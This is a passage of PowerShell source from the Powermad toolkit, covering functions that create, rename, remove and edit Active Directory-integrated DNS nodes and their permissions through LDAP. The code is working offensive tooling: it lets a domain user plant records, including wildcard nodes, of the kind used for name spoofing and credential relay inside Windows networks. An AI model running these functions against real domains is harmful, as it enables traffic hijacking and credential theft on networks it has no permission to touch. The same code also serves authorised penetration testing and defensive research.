"A", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Byte[]]$DNSRecord, [parameter(Mandatory=$false)][Int]$Preference, [parameter(Mandatory=$false)][Int]$Priority, [parameter(Mandatory=$false)][Int]$Weight, [parameter(Mandatory=$false)][Int]$Port, [parameter(Mandatory=$false)][Int]$TTL = 600, [parameter(Mandatory=$false)][Int32]$SOASerialNumber, [parameter(Mandatory=$false)][Switch]$Static, [parameter(Mandatory=$false)][Switch]$Tombstone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") if(!$DomainController -or !$Domain -or !$Zone -or !$Forest) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Forest) { $Forest = $current_domain.Forest Write-Verbose "[+] Forest = $Forest" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if(!$DNSRecord) { try { if($Static) { $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static } else { $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone } Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" } catch { Write-Output "[-] $($_.Exception.Message)" throw } } $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) if($Credential) { $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) } else { $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) } $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" $forest_array = $Forest.Split(".") ForEach($DC in $forest_array) { $object_category += ",DC=$DC" } try { $connection.SessionOptions.Sealing = $true $connection.SessionOptions.Signing = $true $connection.Bind() $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest $request.DistinguishedName = $distinguished_name $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null if($Tombstone) { $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null } $connection.SendRequest($request) > $null Write-Output "[+] ADIDNS node $Node added" } catch { Write-Output "[-] $($_.Exception.Message)" } } function New-SOASerialNumberArray { <# .SYNOPSIS This function gets the current SOA serial number for a DNS zone and increments it by the set amount. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can be used to create a byte array which contains the correct SOA serial number for the next record that will be created with New-DNSRecordArray. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Zone The DNS zone. .PARAMETER Increment Default = 1: The number that will be added to the SOA serial number pulled from a DNS server. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a DNS server and querying an SOA record. .EXAMPLE Generate a byte array from the currect SOA serial number incremented by one. New-SOASerialNumberArray .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Int]$Increment = 1, [parameter(Mandatory=$false)][Int32]$SOASerialNumber, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$SOASerialNumber) { if(!$DomainController -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } $Zone = $Zone.ToLower() function Convert-DataToUInt16($Field) { [Array]::Reverse($Field) return [System.BitConverter]::ToUInt16($Field,0) } function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) { ForEach($field in $OrderedDictionary.Values) { $byte_array += $field } return $byte_array } function New-RandomByteArray { param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} return $random } function New-DNSNameArray { param([String]$Name) $character_array = $Name.ToCharArray() [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} if($index_array.Count -gt 0) { $name_start = 0 ForEach ($index in $index_array) { $name_end = $index - $name_start [Byte[]]$name_array += $name_end [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) $name_start = $index + 1 } [Byte[]]$name_array += ($Name.Length - $name_start) [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } else { [Byte[]]$name_array = $Name.Length [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } return $name_array } function New-PacketDNSSOAQuery { param([String]$Name) [Byte[]]$type = 0x00,0x06 [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] [Byte[]]$transaction_ID = New-RandomByteArray 2 $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary $DNSQuery.Add("Length",$length) $DNSQuery.Add("TransactionID",$transaction_ID) $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) $DNSQuery.Add("Queries_Name",$name) $DNSQuery.Add("Queries_Type",$type) $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) return $DNSQuery } $DNS_client = New-Object System.Net.Sockets.TCPClient $DNS_client.Client.ReceiveTimeout = 3000 try { $DNS_client.Connect($DomainController,"53") $DNS_client_stream = $DNS_client.GetStream() $DNS_client_receive = New-Object System.Byte[] 2048 $packet_DNSQuery = New-PacketDNSSOAQuery $Zone [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null $DNS_client_stream.Flush() $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null $DNS_client.Close() $DNS_client_stream.Close() if($DNS_client_receive[9] -eq 0) { Write-Output "[-] $Zone SOA record not found" } else { $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) $DNS_reply_converted = $DNS_reply_converted -replace "-","" $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") $SOA_answer_index = $SOA_answer_index / 2 $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] $SOA_length = Convert-DataToUInt16 $SOA_length [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] } } catch { Write-Output "[-] $DomainController did not respond on TCP port 53" } } else { [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3] } return ,$SOA_serial_number_array } function New-DNSRecordArray { <# .SYNOPSIS This function creates a valid byte array for the dnsRecord attribute. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute .PARAMETER Data For most record types this will be the destination hostname or IP address. For TXT records this can be used for data. .PARAMETER DomainController Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain attached system. .PARAMETER Port SRV record port. .PARAMETER Preference MX record preference. .PARAMETER Priority SRV record priority. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a DNS server and querying an SOA record. .PARAMETER Static Switch: Zeros out the timestamp to create a static record instead of a dynamic. .PARAMETER TTL Default = 600: DNS record TTL. .PARAMETER Type Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. .PARAMETER Weight SRV record weight. .PARAMETER Zone The DNS zone that will be passed to New-SOASerialNumberArray. .EXAMPLE Create a dnsRecord array for an A record pointing to 192.168.0.1. New-DNSRecordArray -Type A -Data 192.168.0.1 .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] [OutputType([Byte[]])] param ( [parameter(Mandatory=$false)][String]$Data, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Int]$Preference, [parameter(Mandatory=$false)][Int]$Priority, [parameter(Mandatory=$false)][Int]$Weight, [parameter(Mandatory=$false)][Int]$Port, [parameter(Mandatory=$false)][Int]$TTL = 600, [parameter(Mandatory=$false)][Int32]$SOASerialNumber, [parameter(Mandatory=$false)][Switch]$Static, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$Data -and $Type -eq 'A') { try { $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) Write-Verbose "[+] Data = $Data" } catch { Write-Output "[-] Error finding local IP, specify manually with -Data" throw } } elseif(!$Data) { Write-Output "[-] -Data required with record type $Type" throw } try { $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber } catch { Write-Output "[-] $($_.Exception.Message)" throw } function New-DNSNameArray { param([String]$Name) $character_array = $Name.ToCharArray() [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} if($index_array.Count -gt 0) { $name_start = 0 ForEach ($index in $index_array) { $name_end = $index - $name_start [Byte[]]$name_array += $name_end [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) $name_start = $index + 1 } [Byte[]]$name_array += ($Name.Length - $name_start) [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } else { [Byte[]]$name_array = $Name.Length [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } return $name_array } switch ($Type) { 'A' { [Byte[]]$DNS_type = 0x01,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() } 'AAAA' { [Byte[]]$DNS_type = 0x1c,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() } 'CNAME' { [Byte[]]$DNS_type = 0x05,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] [Byte[]]$DNS_data = $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'DNAME' { [Byte[]]$DNS_type = 0x27,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] [Byte[]]$DNS_data = $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'MX' { [Byte[]]$DNS_type = 0x0f,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] $DNS_data += $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'NS' { [Byte[]]$DNS_type = 0x02,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] [Byte[]]$DNS_data = $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'PTR' { [Byte[]]$DNS_type = 0x0c,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] [Byte[]]$DNS_data = $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'SRV' { [Byte[]]$DNS_type = 0x21,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] $DNS_data += $Data.Length + 2 $DNS_data += ($Data.Split(".")).Count $DNS_data += New-DNSNameArray $Data $DNS_data += 0x00 } 'TXT' { [Byte[]]$DNS_type = 0x10,0x00 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] [Byte[]]$DNS_data = $Data.Length $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) } } [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) [Byte[]]$DNS_record = $DNS_length + $DNS_type + 0x05,0xF0,0x00,0x00 + $SOASerialNumberArray[0..3] + $DNS_TTL[3..0] + 0x00,0x00,0x00,0x00 if($Static) { $DNS_record += 0x00,0x00,0x00,0x00 } else { $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} $timestamp = $timestamp[0..3] $DNS_record += $timestamp } $DNS_record += $DNS_data return ,$DNS_record } function Rename-ADIDNSNode { <# .SYNOPSIS This function renames an ADIDNS node. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old record within DNS. .PARAMETER Credential PSCredential object that will be used to rename the ADIDNS node. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The source ADIDNS node name. .PARAMETER NodeNew The new ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Renames an ADIDNS node named test to test2. Rename-ADIDNSNode -Node test -NodeNew test2 .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][String]$NodeNew = "*", [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_entry.Rename("DC=$NodeNew") Write-Output "[+] ADIDNS node $Node renamed to $NodeNew" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Remove-ADIDNSNode { <# .SYNOPSIS This function removes an ADIDNS node. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and allowed to repliate to all domain controllers, the record will remain in DNS. .PARAMETER Credential PSCredential object that will be used to delete the ADIDNS node. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Removes a wildcard node. Remove-ADIDNSNode -Node * .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_entry.psbase.DeleteTree() Write-Output "[+] ADIDNS node $Node removed" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Revoke-ADIDNSPermission { <# .SYNOPSIS This function removes an ACE to an ADIDNS node or zone DACL. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function is mainly for removing the ACE associated with the user that created the DNS node after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones, non-administrators will rarely have the ability to modify a DNS zone. .PARAMETER Access Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. .PARAMETER Credential PSCredential object that will be used to modify the DACL. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The ACE user or group. .PARAMETER Type Default = Allow: The ACE allow or deny access type. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Remove the GenericAll ACE associated for the user1 account. Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Principal, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Node) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } else { if($Partition -eq 'System') { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $NT_account = New-Object System.Security.Principal.NTAccount($Principal) $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access $access_control_type = [System.Security.AccessControl.AccessControlType]$Type $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) } catch { Write-Output "[-] $($_.Exception.Message)" throw } try { $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null $directory_entry.psbase.CommitChanges() Write-Output "[+] ACE removed for $Principal" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } function Set-ADIDNSNodeAttribute { <# .SYNOPSIS This function can append, populate, or overwite values in an ADIDNS node attribute. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can append, populate, or overwite values in an ADIDNS node attribute. .PARAMETER Append Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute to create multiple DNS records of the same name for round robin, etc. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to modify the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Value The attribute value. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Set the writable description attribute on a node named test. Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete" .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Attribute, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$true)]$Value, [parameter(Mandatory=$false)][Switch]$Append, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { if($Append) { $directory_entry.$Attribute.Add($Value) > $null $directory_entry.SetInfo() Write-Output "[+] ADIDNS node $Node $attribute attribute appended" } else { $directory_entry.InvokeSet($Attribute,$Value) $directory_entry.SetInfo() Write-Output "[+] ADIDNS node $Node $attribute attribute updated" } } catch { Write-Output "[-] 